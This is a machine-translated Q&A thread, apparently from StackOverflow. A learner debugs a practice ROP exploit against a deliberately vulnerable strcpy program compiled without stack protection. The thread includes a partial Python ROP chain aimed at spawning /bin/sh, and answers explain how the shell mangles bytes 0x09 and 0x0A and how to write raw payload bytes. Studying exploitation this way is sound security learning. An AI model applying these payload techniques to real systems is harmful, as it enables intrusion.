2016-04-08 22 views
-1

私はPythonで生成された入力を使ってCで単純なバッファを埋めようとしています。これはROPプロジェクトの練習です。 gcc -m32 -ggdb -fno-stack-protector -mpreferred-stack-boundary=2 test.c -o testPythonの入力からバッファ内のstrcpyが正しくない

私のハードウェア:x86-64で、Linuxのミント

#include <string.h>  
int main(int argc, char **argv) 
{ 
    char buf[128]; 
    strcpy(buf, argv[1]); 
} 

としてコンパイル:ここでは、単純なCコードです。私はargv[1]として入力これをバッファが最後の行まで正しく記入何らかの理由で

from struct import pack  
p = '//bin/sh' #address 0xffffd15c 
p += 'A'*28 

#null terminate our string 
p += pack("<I", 0x0806e67a) # pop edx ; ret 
p += pack("<I", 0xffffd163) # @ "/bin/sh" + 7 
p += pack("<I", 0x080bac56) # pop eax ; ret 
p += pack("<I", 0xffffffff) # 0xffffffff, or could xor the instruction 
p += pack("<I", 0x0807b0cf) # inc eax ; ret 
p += pack("<I", 0x08099fad) # mov dword ptr [edx], eax ; ret 

は、ここでのpython入力の一部です。バッファーに0x08099fadを書き込む代わりに、0x00009fadと表示されます。この行に従う入力が増えていますが、これはねじが上がって残りの入力が迷惑になります(私が入力したものではありません)。

何らかの理由で、NULLバイトがstrcpyに挿入されている可能性があります。おそらく早すぎて終了することがあります。しかし、nullバイトがどこにあるのかわかりません。このアドレスを入力しようとすると同じことが起こります。これは後で0x080acedcとなります。

どのような考えですか?

ありがとうございます!

+0

多分、これらのすべての連結結果は、127より長い文字列になります。それは確かに近いです。寛大で、簡単な 'main'のローカル変数として動作する' 1000'の長さの文字列で試してください。また、 'argv [1]'を使う前に 'argc'をチェックしてください。 –

+0

こんにちは。返信いただきありがとうございます。その目的は、バッファオーバーフローを行い、128バイトの割り当てを十分に上回ることでした。上記のPythonの入力はその一部です。最後のアドレスである '0x08099fad'をコメントアウトすると、残りの入力はちょうど良い後に入力されます。しかし、特に、このアドレスは、そのアドレスの書き込み中に入力全体が乱れることになります。 – TRP

+0

これは意図的な悪用ですか?なぜあなたがそれを考案したときに*未定義の行動*を説明するのを求めるのですか? –

答えて

0

あなたは、その文字列をCユーティリティのコマンドライン引数として提供しているとします。 (それは多くの場合、組み込みとして実装され、標準のシェル関数であるので、ところで、testは、ユーティリティのための良い名前ではありません。)

は今、あなたは、端末からあなたのユーティリティを起動していたとします

./test some thing 

明らかにargv[1]は、4文字の単語で構成され、別の単語はargv[2]に配置されます。あなたは、単一の引数は、コマンドラインの残り全体になりたいと思っていた、あなたはそれを引用する必要があります:

./test "some thing" 

、我々はプログラムからユーティリティを起動する際、通常、私たちが実際にしたくありませんシェルが解釈する引数。実際の引数文字列を持つargv配列のプロセスをexecとしたいだけです。こうすることで、空白とメタ文字の入力を心配する必要がなくなり、任意の文字列を正しく引用しようとするときに髪を引き裂くことができます。

しかし、マゾフストのために、pythonはshell=Trueを指定する可能性を提供します。マニュアルではこのオプションの使用を明確に警告していますが、人々が日常的に問題を抱えているにもかかわらず、これは奇妙な選択です。

ところで、あなたの生成されたプログラムにスペースはありません。スペースは0x20です。しかし、シェルは他のバイトを空白として解釈します。たとえば、tabは0x09です。 0x0Aの結果が何であるかを把握するための練習として残しておきます。

+0

Hmm。 09と0aの両方が問題を引き起こしています。面白い。 0aが改行を引き起こしている可能性はありますか?しかし、pythonの文字列は、アドレスバイト、ASCIIシンボルのように読み込まれませんか? – TRP

+0

@TRP:バイトは単なるバイトです。彼らはタイプがありません。バイト列をシェルに渡すと、バイトを渡すだけです。これらのバイトが「アドレスとして読み取られる」ことを可能にするメカニズムはどのようなものでしょうか? – rici

+0

正確にわからないしかし、明確にするために、0Aが改行として解釈されている間に、09がタブとして解釈されていると思いますか?私はちょうどあなたの経験でなぜ好奇心です。私はこれに新しいです。返信いただきありがとうございます。 – TRP

0

これを検索して回答すると、実際のヘルプが得られます。

今日も同じ問題が発生しました。 私が知ったのは、Python自体がこれらの文字をエスケープすることです。 同じプログラムをC言語で書いても動作します。 あなたはこのようなVAR印刷する場合:

"C3 BB C2 84 04 08" 

を私が代わりに同じことをしようとしたとき:

jmpto = "\xbf\x84\x04\x08" 
print(jmpto) 

をあなたはそれが実際に印刷表示されます出力をファイルに保存し、それを表示するバイナリエディタを使用します:バイナリエディタでそれを見て

jmpto = "\x41\x42\x43\x44" 
print(jmpto) 

それが印刷された:

"41 42 43 44" 

私は悲しいことに、これらの文字をpythonで正しく印刷する方法については解明していません。 最も簡単な解決策はC言語で書かれているようです。

P.S:@ weather-vane、誰かを恥ずかしがっているのではなく、 あいまいさによるセキュリティ(別名が見つからないため)は機能しません。 誰かがそれを壊すつもりです。 興味のある白い帽子をどうやって表示するか、それらの問題を解決しようとするかもしれません。

編集: 私はFrauenhofer FKIEの誰かのおかげでその解決策を見つけました。 sys.stdout.buffer.write(ex_str)型バイトである必要が ex_strを使用します。 まずバイト型にキャストするよりも、ByteArrayのようあなたの文字列を作成します。あなたはまた、実行可能ファイルを起動し、それにバイトのオブジェクトを渡すためにsubprocess.call()またはsubprocess.runを()を使用することができます

import sys 
#convert this Hex Address or Hex ASM Code to int: fb 84 04 08 
jmpto = [251, 132, 4, 8] 
ex_str = bytes(bytearray(b"A"*(132 + 4)) + bytearray(jmpto)) 
sys.stdout.buffer.write(ex_str) 

+0

返信いただきありがとうございます!それは知って良い情報です! – TRP

関連する問題